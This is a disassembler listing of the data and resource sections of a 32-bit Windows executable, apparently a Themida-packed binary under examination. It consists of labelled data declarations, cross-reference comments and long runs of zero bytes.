dword_4CEB60	dd 188h	dup(0)		; DATA XREF: sub_401ACD+2F25o
					; sub_401ACD:loc_404A7Bo
dword_4CF180	dd 0			; DATA XREF: sub_401ACD+19C3w
					; sub_401ACD+2F1Dr ...
		dd 11Ch	dup(0)
dword_4CF5F4	dd 1000h dup(0)		; DATA XREF: sub_415D38+1Do
					; sub_415DD8o ...
dword_4D35F4	dd 0			; DATA XREF: sub_415D38+13o
					; sub_415DD8+Eo ...
dword_4D35F8	dd 0Eh dup(0)		; DATA XREF: sub_416CC9+Fo
dword_4D3630	dd 80h dup(0)		; DATA XREF: sub_417990+41o
dword_4D3830	dd 200h	dup(0)		; DATA XREF: sub_4172C1+C7o
					; sub_41761C+DDo ...
dword_4D4030	dd 48h dup(0)		; DATA XREF: sub_4172C1+D6o
					; sub_41761C+F4o ...
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_4383A8o
		dd 1B7h	dup(0)
dword_4D4830	dd 0			; DATA XREF: sub_4172C1+86w
					; sub_417493+94r
dword_4D4834	dd 0			; DATA XREF: sub_4172C1+A7w
					; sub_4178F9+55r ...
dword_4D4838	dd 0			; DATA XREF: sub_4172C1+A0w
					; sub_417493+D6r ...
dword_4D483C	dd 0			; DATA XREF: sub_4172C1+79w
					; sub_417493+35r ...
dword_4D4840	dd 80h dup(0)		; DATA XREF: sub_4178F9+5Eo
dword_4D4A40	dd 0			; DATA XREF: sub_4172C1+93w
					; sub_417493+A2r
		align 8
dword_4D4A48	dd 0			; DATA XREF: sub_4172C1+E7o
					; sub_4172C1+103r ...
dword_4D4A4C	dd 0			; DATA XREF: sub_41761C+17Bw
					; sub_4177C3+107w
dword_4D4A50	dd 0			; DATA XREF: sub_41761C+180w
					; sub_4177C3+10Dw ...
dword_4D4A54	dd 0			; DATA XREF: sub_41761C+159w
					; sub_4178F9+4Fr
dword_4D4A58	dd 0			; DATA XREF: sub_417C61+22w
					; sub_417C61:loc_417DE6w ...
dword_4D4A5C	dd 0			; DATA XREF: sub_401ACD+3C95o
					; sub_417B2F+12o ...
		dd 0
dword_4D4A64	dd 0			; DATA XREF: sub_417C61+1Cr
					; sub_417E06+3Ar
		dd 7Fh dup(0)
dword_4D4C64	dd 0			; DATA XREF: sub_417C61+28r
					; sub_417E06+4Aw
		dd 1944h dup(0)
dword_4DB178	dd 0			; DATA XREF: sub_417E06+23o
dword_4DB17C	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CB9o
					; sub_417B2F+3Co ...
dword_4DB380	dd 17h dup(0)		; DATA XREF: sub_418D2A:loc_418E47o
					; sub_418D2A+131o ...
dword_4DB3DC	dd 80h dup(0)		; DATA XREF: sub_419AE0+7Co
					; sub_419AE0+A5o
dword_4DB5DC	dd 0			; DATA XREF: sub_4190A5+45w
					; sub_4190A5+4Dr ...
dword_4DB5E0	dd 17h dup(0)		; DATA XREF: sub_4199AC:loc_419ACEo
					; sub_4199AC+12Do
dword_4DB63C	dd 80h dup(0)		; DATA XREF: sub_418FE5+4Co
					; sub_418FE5+7Eo ...
byte_4DB83C	db 0			; DATA XREF: sub_4190A5+29r
					; sub_4190A5+34w
		align 10h
dword_4DB840	dd 80h dup(0)		; DATA XREF: sub_4192FC+61o
					; sub_4192FC+89o ...
dword_4DBA40	dd 81h dup(0)		; DATA XREF: sub_418C0E:loc_418C46o
					; sub_418C0E+5Bo
dword_4DBC44	dd 0			; DATA XREF: sub_419F6D:loc_419F8Er
					; sub_41A05C+54r ...
dword_4DBC48	dd 0			; DATA XREF: sub_419F6Dr
					; sub_41A05C+37r ...
dword_4DBC4C	dd 0			; DATA XREF: sub_419F9D+1Ar
					; sub_41A1B1+83o
dword_4DBC50	dd 0			; DATA XREF: sub_419F6D:loc_419F81r
					; sub_41A1B1+11Bw
dword_4DBC54	dd 0Dh dup(0)		; DATA XREF: sub_41A05C+13o
					; sub_41A1B1:loc_41A2EEo
dword_4DBC88	dd 0			; DATA XREF: sub_41A05C+CDr
					; sub_41A05C+ECr ...
		align 10h
dword_4DBC90	dd 0Fh dup(0)		; DATA XREF: sub_41ADD8+47o
byte_4DBCCC	db 0			; DATA XREF: sub_41B52C+6o
					; ___:0041B881o ...
		align 10h
		dd 3Fh dup(0)
dword_4DBDCC	dd 2 dup(0)		; DATA XREF: sub_41B55B+18o
dword_4DBDD4	dd 2 dup(0)		; DATA XREF: sub_41B55B+8o
					; ___:0041B6CAo
dword_4DBDDC	dd 0			; DATA XREF: sub_41C59D+1B9w
					; ___:loc_41DB07w ...
dword_4DBDE0	dd 0			; DATA XREF: sub_41DC5E+35w
					; sub_41E312:loc_41E3ACw ...
dword_4DBDE4	dd 0			; DATA XREF: sub_42423B+13Ar
		dd 0A28h, 501h,	5, 1
dword_4DBDF8	dd 1			; DATA XREF: ___:loc_401516r
					; ___:0042381Dw
dword_4DBDFC	dd 2450B30h		; DATA XREF: ___:0040151Fr
					; ___:0040153Fr ...
		dd 0
dword_4DBE04	dd 2450B58h		; DATA XREF: ___:00423717w
		dd 3 dup(0)
off_4DBE14	dd offset aCM_unpackerPac ; DATA XREF: ___:004237BAw
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_4DBE1C	db 0			; DATA XREF: sub_41C1B3+2Dw
					; sub_4241E3+5r
		align 10h
dword_4DBE20	dd 0			; DATA XREF: sub_41C1B3+27w
dword_4DBE24	dd 0			; DATA XREF: sub_41C1B3+4r
					; sub_41C1B3+8Bw
dword_4DBE28	dd 0			; DATA XREF: sub_41CAD4+3Br
					; sub_41CAD4+91w
		align 10h
dword_4DBE30	dd 0			; DATA XREF: sub_41D124+Aw
dword_4DBE34	dd 0			; DATA XREF: ___:loc_4236E5r
					; ___:loc_423727r ...
		dd 0
dword_4DBE3C	dd 0			; DATA XREF: sub_41E2C9r ___:0041E2F0o ...
dword_4DBE40	dd 0			; DATA XREF: sub_41F3B0+4Bw
					; sub_41F4C9+2Dw ...
dword_4DBE44	dd 0			; DATA XREF: sub_41FBB2r
dword_4DBE48	dd 0			; DATA XREF: sub_41BBE2:loc_41BCFEr
					; sub_41BBE2:loc_41BE1Fr ...
dword_4DBE4C	dd 1			; DATA XREF: sub_420749:loc_4208C4r
					; sub_4208E2+4w ...
dword_4DBE50	dd 0			; DATA XREF: sub_420CE6+37r
		align 8
dword_4DBE58	dd 0			; DATA XREF: sub_422279+11r
					; sub_42237D+1Ar ...
byte_4DBE5C	db 0			; DATA XREF: sub_422279+3r
					; sub_422279+98r ...
		align 10h
dword_4DBE60	dd 0			; DATA XREF: sub_42237D+11r
					; sub_42245B+21w ...
byte_4DBE64	db 0			; DATA XREF: sub_42245B+51w
		align 4
dword_4DBE68	dd 0			; DATA XREF: sub_422651+4Er
					; sub_422A2C+3Ar ...
dword_4DBE6C	dd 0			; DATA XREF: sub_422651+5Cr
					; sub_422A2C+43r ...
dword_4DBE70	dd 0			; DATA XREF: sub_41D3AA+7Ar
					; sub_4227F8+5r
dword_4DBE74	dd 0			; DATA XREF: sub_422DFC+29r
dword_4DBE78	dd 1			; DATA XREF: sub_4232A8+28r
					; sub_4232A8+4Cw ...
		dd 2 dup(0)
dword_4DBE84	dd 0			; DATA XREF: sub_41DE4A+4r
					; sub_41DE4A+6Er ...
		dd 3 dup(0)
dword_4DBE94	dd 0			; DATA XREF: sub_41E0D4+61r
					; sub_41E0D4+BFr ...
		dd 0
dword_4DBE9C	dd 0			; DATA XREF: ___:00423531r
					; ___:0042353Dw ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_4237A3o
					; ___:off_4DBE14o
		align 4
		dd 3Ah dup(0)
dword_4DBFA4	dd 1			; DATA XREF: ___:004239DBr
					; ___:004239FCw ...
dword_4DBFA8	dd 0			; DATA XREF: sub_423D98+21r
dword_4DBFAC	dd 0			; DATA XREF: sub_41FBCD+154w
					; sub_420CE6:loc_420D0Fw ...
dword_4DBFB0	dd 0			; DATA XREF: sub_41FBCD+7r
dword_4DBFB4	dd 1			; DATA XREF: sub_4244F4+26r
					; sub_4244F4:loc_42455Ew
word_4DBFB8	dw 0			; DATA XREF: sub_424DF9+1Ao
					; sub_424DF9+46r
byte_4DBFBA	db 0			; DATA XREF: sub_424DF9+39r
		align 4
dword_4DBFBC	dd 7 dup(0)		; DATA XREF: sub_424DF9+52o
dword_4DBFD8	dd 0			; DATA XREF: sub_424DF9+40w
					; sub_424DF9+5Co
dword_4DBFDC	dd 0			; DATA XREF: sub_424DF9+4Dw
dword_4DBFE0	dd 0			; DATA XREF: sub_424DF9+31w
dword_4DBFE4	dd 0			; DATA XREF: sub_424DF9+52w
dword_4DBFE8	dd 77C26E79h		; DATA XREF: sub_424F1C:loc_424F3Fr
					; sub_424F1C+38r
dword_4DBFEC	dd 0			; DATA XREF: sub_425029+3r
					; sub_425029+2Ew ...
dword_4DBFF0	dd 0			; DATA XREF: sub_425029+43w
					; sub_425029:loc_425078r
dword_4DBFF4	dd 0			; DATA XREF: sub_425029+4Aw
					; sub_425029+60r
dword_4DBFF8	dd 0			; DATA XREF: sub_42423B+3Fr
dword_4DBFFC	dd 0			; DATA XREF: sub_425C06:loc_425C6Dr
					; sub_425C06+6Do
dword_4DC000	dd 0			; DATA XREF: sub_425C06:loc_425C44r
					; sub_425C06+44o
dword_4DC004	dd 0			; DATA XREF: sub_425C06:loc_425C37r
					; sub_425C06+37o
dword_4DC008	dd 0			; DATA XREF: sub_425C06:loc_425C51r
					; sub_425C06+51o
		align 10h
dword_4DC010	dd 0			; DATA XREF: sub_426636+28r
					; sub_426680+2w ...
dword_4DC014	dd 0			; DATA XREF: sub_4268C1+26r
					; sub_4268C1:loc_42692Bw
byte_4DC018	db 0			; DATA XREF: sub_40DB3Cr sub_40DB3C+9w
		align 4
dword_4DC01C	dd 2451140h		; DATA XREF: sub_41E490:loc_41E4A1r
					; sub_41FD3D+14r ...
dword_4DC020	dd 400h	dup(0)		; DATA XREF: ___:off_43D568o
					; ___:0043D570o
dword_4DD020	dd 200h			; DATA XREF: sub_41E490+9r
					; sub_41E490+56r ...
		dd 7 dup(0)
dword_4DD040	dd 2450650h		; DATA XREF: sub_41F8E3+75r
					; sub_41F9BC+2Ar ...
dword_4DD044	dd 3Fh dup(0)		; DATA XREF: ___:00423B9Do
dword_4DD140	dd 20h			; DATA XREF: sub_41E312+8r
					; sub_41F9BC+Cr ...
dword_4DD144	dd 4E4h			; DATA XREF: sub_420749+14r
					; sub_420749+65w ...
		align 10h
dword_4DD150	dd 3 dup(0)		; DATA XREF: sub_420749+123o
					; sub_420749+171o ...
dword_4DD15C	dd 0			; DATA XREF: sub_420749+108w
					; sub_420749+15Dw ...
byte_4DD160	db 0			; DATA XREF: sub_420988:loc_420A94w
					; sub_420988:loc_420AB1w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DD260	db 0			; DATA XREF: sub_420749+5Co
					; sub_420749+AFo ...
byte_4DD261	db 0			; DATA XREF: sub_41C3B1+5Dr
					; sub_420749+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DD364	dd 0			; DATA XREF: sub_420749+6Ew
					; sub_420749+12Bw ...
dword_4DD368	dd 0			; DATA XREF: sub_41ED74+5r
					; sub_41ED74+32w
dword_4DD36C	dd 0			; DATA XREF: sub_41E742+23Ar
					; sub_41E742+25Ar ...
dword_4DD370	dd 0			; DATA XREF: sub_41E742+311w
					; sub_41EA6B:loc_41EABBr ...
dword_4DD374	dd 0			; DATA XREF: sub_41E742+22Dr
					; sub_41E742+260r ...
dword_4DD378	dd 0			; DATA XREF: sub_41E717r
					; sub_41E742+2CBr ...
dword_4DD37C	dd 0			; DATA XREF: sub_41E717+8r
					; sub_41E742+2D0r ...
dword_4DD380	dd 0			; DATA XREF: sub_41BBE2+5Cr
					; sub_41BEF3+Fr ...
dword_4DD384	dd 2450000h		; DATA XREF: sub_41BA91+5Ar
					; sub_41BBE2+C0r ...
dword_4DD388	dd 1			; DATA XREF: sub_41BA91+Cr
					; sub_41BBE2:loc_41BC12r ...
dword_4DD38C	dd 142340h		; DATA XREF: ___:0042368Ar
					; ___:004237B5r
dword_4DD390	dd 1			; DATA XREF: ___:00423780w
dword_4DD394	dd 1			; DATA XREF: sub_420B0Dr
					; sub_420B0D+11w ...
dword_4DD398	dd 2450758h		; DATA XREF: sub_41C1B3+3Er
					; sub_41D9B3+13r ...
dword_4DD39C	dd 2450758h		; DATA XREF: sub_41C1B3+35r
					; sub_41C1B3+57r ...
		dd 318h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DF000h
unk_4DF000	db    0			; DATA XREF: Themida_:0054D860o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
